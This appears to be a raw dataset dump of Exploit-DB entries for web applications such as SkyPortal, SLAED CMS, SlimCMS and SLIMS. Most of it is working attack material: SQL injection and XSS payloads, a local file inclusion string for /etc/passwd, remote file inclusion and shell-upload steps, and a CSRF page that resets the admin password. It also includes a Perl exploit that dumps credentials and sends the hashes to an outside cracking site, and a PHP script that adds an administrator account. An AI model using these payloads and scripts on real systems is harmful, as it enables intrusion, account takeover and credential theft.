deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4638
Description: skyportal vrc6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2007-11-20
Author: BugReport.IR

Exploit:
########################## WwW.BugReport.ir ###########################################
#
#      BugReport Security Research & Penetration Testing Group
#
# Title: [Sky Portal] Multiple SQL Injection Vulnerabilities
# Vendor: http://skyportal.net
# Exploitation: Remote with browser
# Fix Available: Patched In Last Version In Vendor
#######################################################################################
# Leaders : Shahin Ramezany & Sorush Dalili
# Team Members: Alireza Hasani ,Amir Hossein Khonakdar, Hamid Farhadi
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Contact : admin@bugreport.ir
######################## Bug Description ###########################

Description:
--------------------
A Lot Of Sql Injection Found And We Exploit One Of them
A Registered User Can Change His/Her Name And Read All Other's Private Messages.

Vulnerabilities:
--------------------
+--> Multiple SQL Injection Vulnerabilities

nc_top.asp Line 59 
strDBNTFUserName = Mitoone injection bezane be functione line 60 iani isMbr() >>> test.htm  but !??! this function is very crazy!
--------------------------
user can delete all bookmarks
inc_bookmarks.asp line 179
delSQL = "DELETE FROM "& strTablePrefix & "BOOKMARKS WHERE BOOKMARK_ID = " & delBkmk(ib)

this file use from cp_main.asp
---------------------------

inc_profile_functions.asp
line 568,570,572,573

---------------------------

user can delete all SUBSCRIPTIONS>
inc_SUBSCRIPTIONS.asp line 163
delSQL = "DELETE FROM "& strTablePrefix & "SUBSCRIPTIONS WHERE SUBSCRIPTION_ID = " & delBkmk(ib)
executeThis(delSQL)
this file use from cp_main.asp


-------------------------- Html Exploit ------------------------------

<form action="http://[VICTIM URL]/cp_main.asp?mode=EditIt&cmd=9" method="post">
Photo_URL: <input type="text" name="Photo_URL" value="" size="200"/>
<br />
Avatar_URL[injection goes here]: <input type="text" name="Avatar_URL" value="',M_Name='Admin',M_Username='Admin" />
<br />
LINK1[Also injection goes here]: <input type="text" name="LINK1" value="" />
<br />
LINK2[Also injection goes here]: <input type="text" name="LINK2" value="" />
<br />
Password: <input type="text" name="Password-d" value="YOU MUST ENTER YOUR HASHED PASSWORD HERE (For Ex: 123123 = defbfbd84d16387273dde914fd309c3b)" />
<br />
Email: <input type="text" name="Email" value="admin@bugreport.ir" />
<br />
Name: <input type="text" name="Name" value="Your Current Username" />
<br />
RECMAIL: <input type="text" name="RECMAIL" value="0" />
<br />
HideMail: <input type="text" name="HideMail" value="1" />
<br />
<br />
<input type="submit" />
</form>

Credit:
--------------------
BugReport Security Research & Penetration Testing Group
WwW.BugReport.ir

# milw0rm.com [2007-11-20]
Exploit-DB #37118
Description: SKYUC 3.2.1 - 'encode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-27
Author: farbodmahini

Exploit:
source: https://www.securityfocus.com/bid/53291/info

SKYUC is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SKYUC 3.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?encode=[XSS]
Exploit-DB #17824
Description: Slaed CMS - Code Execution
Type: webapps
Platform: php
Date: 2011-09-12
Author: brain[pillow]

Exploit:
# Exploit Title: Slaed CMS Code exec
# Google Dork: "Powered by SLAED CMS"
# Date: 03.05.2011
# Author: brain[pillow]
# Software Link: http://slaed.net/
# Version: OpenSlaed 1.2 (free), Slaed CMS <= 4.*

On different versions of this software next vulnerabilities are availible:

/index.php?name=Search&mod=&word={${phpinfo()}}&query=ok&to=view
/index.php?name=Search&mod=&word=ok&query={${phpinfo()}}&to=view

OR:

/search.html?mod=&word={${phpinfo()}}&query=ok&to=view
/search.html?mod=&word=ok&query={${phpinfo()}}&to=view
Exploit-DB #33465
Description: SLAED CMS 2.0 - 'stop' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-03
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37574/info

SLAED CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SLAED CMS 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?name=Recommend&stop=<ScRiPt+src=http://127.0.0.1/xss.js?[PII_REDACTED]60></ScRiPt>
Exploit-DB #4975
Description: SLAED CMS 2.5 Lite - 'newlang' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-23
Author: The_HuliGun

Exploit:
# SLAED CMS 2.5 Lite Local file inclusion

# Script url http://www.slaed.net/uploads/files/public/SLAED_CMS_2.5_Lite.zip

# Lets code in function/sources.php: 
 
780:  // Format language
781:  function get_lang($module="") {
782:	global $multilingual, $currentlang, $language, $user_cookie_t;
783:	if (isset($_REQUEST['newlang']) && $multilingual == "1") {
784:		if (file_exists("language/lang-".$_REQUEST['newlang'].".php")) {
785:			setcookie("lang", $_REQUEST['newlang'], time() + intval($user_cookie_t));
786:			require_once("language/lang-".$_REQUEST['newlang'].".php");
                        ...

And in index.php:
9:    require_once("function/function.php");
10:   get_lang();

# As you can see variable newlang is not filtered, so, if magic_quotes_gpc turned off, we can use exploit:

http://[targethost]/[path]/index.php?newlang=../../../../../../../../../../etc/passwd%00

# Bug discovered by The_HuliGun

# Greetz to: NaTka and all people who understand...

# See u soon!

# milw0rm.com [2008-01-23]
Exploit-DB #33681
Description: SLAED CMS 4 - Installation Script Unauthorized Access
Type: webapps
Platform: php
Date: 2010-02-27
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/38453/info

SLAED CMS is prone to an unauthorized-access vulnerability.

Attackers can exploit this issue to obtain unauthorized access to installation scripts.

SLAED CMS 4 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com/sd/setup.php?op=language&lang=1

http://www.example.com/sd/install/index.php?op=language&lang=1
Exploit-DB #11596
Description: Slaed CMS 4.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-27
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Script Slaed Cms 4 Mullti Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.sec-war.com                                                                     
| # Web Site :                                                     
| # Dork     : Powered by SLAED CMS © 2005-2008 SLAED. All rights reserved.
               Licensed to w-arab.com © 2010 Creative Studio. All rights reserved.                                                                                                              
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                                     
======================      Exploit By indoushka       =================================
# Exploit  :  
 
1 - Upload Shell:

first Register in to web site http://127.0.0.1/sd/index.php?name=files&op=add (use temper data)

secend go to http://127.0.0.1/sd/uploads/files/temp/  2 find you Ev!l

2 - RFI:

http://localhost/sd/index.php?file=http://localhost/c.txt?

http://localhost/sd/index.php?name=http://localhost/c.txt?

3 - Reinstall Script :

http://127.0.0.1/sd/setup.php?op=language&lang=1
 or 
http://127.0.0.1/sd/install/index.php?op=language&lang=1

4 - Data Base Dumper :

First go to http://127.0.0.1/sd/admin.php?op=files&panel=1

put This code javascript:OpenWindow('modules/Dumper/index.php',%20'Dumper',%20'400',%20'350')

you know the user and pass from Reinstall script information to login to databass

5 - Blind SQL/XPath injection (I hate SQl *_*) :

http://127.0.0.1/sd/index.php?id=1

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * www.no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net * D4NB4R http://www.ilegalintrusion.net/foro/
--------------------------------------------------------------------------------------------------------------
Exploit-DB #24871
Description: Slash CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-03-22
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: Slash CMS Multiple Vulnerabilities
[~] Date: 21-03-2013
[~] Author: DaOne aka Mocking Bird
[~] Vendor Homepage: http://www.slash-cms.com/
[~] Software Link: http://sourceforge.net/projects/slashcms/
[~] Category: webapps/php
[~] Google Dork: "N/A"
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
##########################################

# File Upload:
<form action="http://localhost/slash-cms/core/plugins/ajaxupload/ajaxupload.php" method="post" enctype="multipart/form-data">
<input type="file" name="sl_userfile">
<input type="submit" value="Upload"></form>
Uploaded File Path: /tmp/{Filename}.php


# XSS / SQL Injection:
http://localhost/slash-cms/index.php?mod=sl_pages&id=-2+union+select+1,2,user(),database(),5,6
http://localhost/slash-cms/index.php?mod=sl_pages&id=<script>alert(1)</script>
Exploit-DB #27124
Description: SleeperChat 0.3f - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-24
Author: hackologie

Exploit:
source: https://www.securityfocus.com/bid/16363/info

SleeperChat is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 0.3f is vulnerable; other versions may also be affected. 

http://www.example.com/chat/index.php?pseudo=><script>alert(navigator.appVersion)</script>&txtlen=500&smiley=1
Exploit-DB #35111
Description: slickMsg - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-12-15
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45403/info

slickMsg is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

slickMsg 0.7-alpha is vulnerable; other versions may also be affected. 

XSS example 1: [size=expression(alert(123))]size[/size]
XSS example 2: [color=expression(alert(456))]blue[/color]
http://www.example.com/vulns/161/exploit.html
Exploit-DB #35094
Description: slickMsg 0.7-alpha - 'top.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-10
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45343/info

slickMsg is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

slickMsg 0.7-alpha is vulnerable; other versions may also be affected. 

http://www.example.com/slickmsg/views/Thread/display/top.php?title=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
Exploit-DB #41235
Description: SlimarUSER Management 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-03
Author: Kaan KAMIS

Exploit:
Exploit Title: SlimarUSER Management v1.0 – 'id' Parameter SQL Injection
Date: 03.02.2017
Vendor Homepage: http://slimar.org
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

SlimarUSER is a PHP user management system full with features. The system allows website owners to manage their own users with complete login, registration and many other features. It can be used on its own, or integrated into any existing PHP powered website.

Sqlmap command: sqlmap.py -u "http://locahost/userman/inbox.php?p=view&id=7" --cookie="PHPSESSID=de3052c5dbb1d535d423ee1a2dbb076b; id=4; [CREDENTIAL_REDACTED].WYgq" --batch --random-agent --dbms=mysql

Vulnerable Url: http://locahost/userman/inbox.php?p=view&id=[payload]
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=view&id=7' AND 6275=6275 AND 'DFYF'='DFYF

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: p=view&id=7' AND SLEEP(5) AND 'HCUm'='HCUm
---
Exploit-DB #39964
Description: SlimCMS 0.1 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2016-06-16
Author: Avinash Thapa

Exploit:
<!--
# Exploit Title: CSRF Vulnerability on Slim CMS v0.1
# CMS Link: https://github.com/revuls/SlimCMS/releases
# Date: 16th June'2016
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://www.slimcms.nl/
# Software Link: https://github.com/revuls/SlimCMS/releases
# Version: Slim CMSv0.1
# Tested on: Windows 10,  XAMPP
# Twitter: https://twitter.com/m_avinash143


CSRF : Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user's web browser to perform an unwanted action on a trusted site for which the user is currently authenticated.


Vulnerability Description : 
It is possible to change the password of the administrator and complete account can be take over using this.

Steps to Reproduce the same

1. Login into the account.
2. Navigate to http://localhost/SlimCMS/admin/config
3. Fill the details and intecept the request using BurpSuite

Request Intercepted
-------------------
-->

<html>
  <body>
    <form action="http://localhost/SlimCMS/api/config" method="POST">
      <input type="hidden" name="title" value="&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="hidden" name="description" value="&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="hidden" name="user" value="admin" />
      <input type="hidden" name="password" value="password" />
      <input type="hidden" name="theme" value="default" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;localhost&#47;SlimCMS" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<!--
4. Send the link to victim and password will be changed for the admin user (Once the victim's clicks on the URL).
-->
Exploit-DB #7121
Description: SlimCMS 1.0.0 - 'edit.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-14
Author: StAkeR

Exploit:
#!/usr/bin/perl

=starting

 --------------------------------------------------------
 SlimCMS <= 1.0.0 (edit.php) Remote SQL Injection Exploit
 --------------------------------------------------------
 by athos - staker[at]hotmail[dot]it
 
 download on sourceforge 
 
 
 File edit.php
 
 111. if ($password == md5($_POST['password']))
 112. {
 113.    if (strlen($_POST['cmsText']) > 2) {
 114. $query  = "UPDATE pages SET title = '".$_POST['pageTitle']."', content =  '".
      strip_tags(stripslashes($_POST['cmsText']),$allowedTags)."' WHERE ID = ".$_GET['pageID'];
 115. mysql_query($query);
 116. //$successfulyUpdated
 117. responseText = $successfulyUpdated;
 118. }
 119.
 120. if (strlen($_GET['pageID']) > 0) {
 121. $query  = "SELECT * FROM pages WHERE ID = ".$_GET['pageID'];
 122. $result = mysql_query($query);
 123.
 124.				
 125. while($row = mysql_fetch_array($result)) {
 126.	$pageTitle = $row['title'];
 127.	$pageContent = $row['content'];
 128.  }
 129. }
 
 NOTE: Works Regardless PHP.ini Settings!
 
  
  you must be logged..
  
  Usage: perl "exploit.pl" [HOST] [username:password] [USER_ID]
  
  Output: Username: athos
          [CREDENTIAL_REDACTED]
 
 

=cut

use strict;
use LWP::UserAgent;
use LWP::Simple;

my $match = q{Editing page "(.+?)"};
my $http = new LWP::UserAgent; 
my $post = undef;
my @login = ();
my @out = ();

my ($host,$auth,$myid) = @ARGV;

unless($host =~ /http:\/\/(.+?)$/i && $auth && $myid)
{
    print STDOUT "Usage: perl $0 [host/path] [username:password] [id]\r\n"; 
    exit;
} 

$host .= "/edit.php?pageID=-1 union select 1,concat(username,0x3a,password),3,4 from users where id=$myid#";

@login = split(':',$auth);

$post = $http->post($host,[ 
                            username => $login[0],
                            password => $login[1],
                         ]);


if($post->is_success && $post->content =~ $match) 
{
    @out = split(':',$1);
   
    if($#out => 2)
    {
        my $cracked = search_MD5($out[1]);
        
        print STDOUT "Username: $out[0]\r\n";
        print STDOUT "Password: $out[1] -> $cracked\r\n";
        exit;  
   }
   else
   {
       print STDOUT "Exploit Failed!\r\n";
       print STDOUT "Login incorrect or site not vulnerable\\available!\r\n";
       exit;
   }
}


sub search_MD5
{
    my $hash = shift @_;
    my $cont = undef;

    $cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);
        
    if(length($hash) => 32 && !is_error($cont))
    {
        return $cont;
    }
    else
    {
        return exit;
    }
}   
    
__END__

# milw0rm.com [2008-11-14]
Exploit-DB #6729
Description: SlimCMS 1.0.0 - 'redirect.php' Privilege Escalation
Type: webapps
Platform: php
Date: 2008-10-10
Author: StAkeR

Exploit:
#!/usr/bin/php -q
<?php

/*
   SlimCMS <= 1.0.0 Privilege Escalation Exploit
   Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it
   Discovered On 11/10/2008
   http://downloads.sourceforge.net/slimcms/SlimCMS-1.0.0.tgz?modtime=[PII_REDACTED]&big_mirror=0
*/


error_reporting(0);

$host = $argv[1];
$host = str_replace('http://',NULL,$host);
$path = $argv[2]."/redirect.php";
$user = $argv[3];

if(!preg_match('/http:\/\/(.+?)$/',$host) and strlen($user) < 5)
{
  echo "[?] Usage: php $argv[0][host][path][username]\r\n";
  echo "[?] Usage: php $argv[0] http://localhost /cms milw0rm\r\n";
  exit;
}

if(!$sock = fsockopen($host,80)) 
{
  die("Socket Error\r\n");
}

$post .= "newusername=$user&new[CREDENTIAL_REDACTED]=1";
$data .= "POST /$path HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($post)."\r\n";
$data .= "Connection: close\r\n\r\n";
$data .= "$post\r\n\r\n";

fputs($sock,$data);

while(!feof($sock)) 
{
  $content .= fgets($sock);
} fclose($sock); 

if(eregi('change.php',$content))
{
  echo "[?] Added New Administrator!\r\n";
  echo "[?] Username and Password: $user\r\n";
  exit;
}
else
{
  echo "[?] Exploit Failed!\n";
}


?>

# milw0rm.com [2008-10-10]
Exploit-DB #51211
Description: SLIMSV 9.5.2 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-03
Author: nu11secur1ty

Exploit:
## Exploit Title: SLIMSV 9.5.2 - Cross-Site Scripting (XSS) 
## Development: nu11secur1ty
## Date: 01.19.2023
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.5.2
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2

## Description:
The value of manual insertion `point 3` is copied into the HTML
document as plain text between tags.
The payload udz21<script>alert(1)</script>rk346 was submitted in
manual insertion point 3.
This input was echoed unmodified in the application's response.
The attacker can trick the already logged-in user, to visit the
exploit link that this attacker is created,
and if this already logged-in user is not actually IT or admin, this
will be the end of this system.


## STATUS: HIGH Vulnerability

[+] Exploit:
```
GET /slims9_bulian-9.5.2/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%27udz21%3Ca%20href=https://www.pornhub.com%3E%3Cimg%20src=https://i.postimg.cc/1tSM7Z7F/Hijacking-clipboard.gif%22%3E%50%6c%65%61%73%65%2c%20%76%69%73%69%74%20%6f%75%72%20%6d%61%69%6e%74%65%6e%61%6e%63%65%20%70%61%67%65%20%74%6f%20%63%68%65%63%6b%20%77%68%61%74%20%69%73%20%74%68%65%20%6c%61%74%65%73%74%20%6e%65%77%73%21%20%57%65%20%61%72%65%20%73%6f%72%72%79%20%66%6f%72%20%74%68%69%73%20%70%72%6f%62%6c%65%6d%21%20%54%68%69%73%20%77%69%6c%6c%20%62%65%20%66%69%78%65%64%20%73%6f%6f%6e&membershipType=a%27%27&collType=%27
HTTP/1.1
Host: pwnedhost1.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=qavdssnj7kgu5g8a7d1pm0l3rr; admin_logged_in=1;
SenayanMember=8f7c68j2b0pgbovehqcfuhcnl4
Connection: close
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2)

## Proof and Exploit:
[href](https://streamable.com/zd6e18)

## Reference:
[href](https://portswigger.net/web-security/cross-site-scripting)


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>